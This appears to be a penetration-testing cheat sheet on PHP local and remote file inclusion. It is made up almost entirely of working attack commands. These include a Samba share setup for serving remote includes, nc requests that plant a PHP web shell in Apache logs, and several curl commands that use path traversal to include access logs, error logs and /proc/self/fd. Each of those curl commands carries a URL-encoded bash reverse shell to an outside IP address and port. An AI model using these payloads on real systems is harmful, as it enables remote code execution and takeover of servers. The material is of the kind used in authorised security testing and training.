LFI / RFI

Local / Remote File Inclusion

PHP RFI with SMB

• http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html

/etc/samba/smb.conf:

log level = 3
[share]
        comment = TEMP
        path = /tmp/smb
        writable = no
        guest ok = yes
        guest only = yes
        read only = yes
        browsable = yes
        directory mode = 0555
        force user = nobody

$ chmod 0555 /tmp/smb
$ chown -R nobody:nogroup /tmp/smb
$ service smbd restart
$ tail -f /var/log/samba/log.<HOSTNAME>

Log Poisoning

PHP

• https://medium.com/bugbountywriteup/bugbounty-journey-from-lfi-to-rce-how-a69afe5a0899
• https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-1

Access log (needs single ' instead of double "):

$ nc 127.0.0.1 80
GET /<?php system($_GET['cmd']); ?>

$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//var//log//apache2//access.log&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.213%2F1337%200%3E%261%27'
Or
$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//proc//self//fd//1&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.213%2F1337%200%3E%261%27'

Error log:

$ curl -X POST 'http://127.0.0.1/vuln1.php' --form "userfile=@docx/sample.docx" --form 'submit=Generate pdf' --referer 'http://nowhere.com/<?php system($_GET["cmd"]); ?>'
$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//var//log//apache2//error.log&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.213%2F1337%200%3E%261%27'
Or
$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//proc//self//fd//2&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.213%2F1337%200%3E%261%27'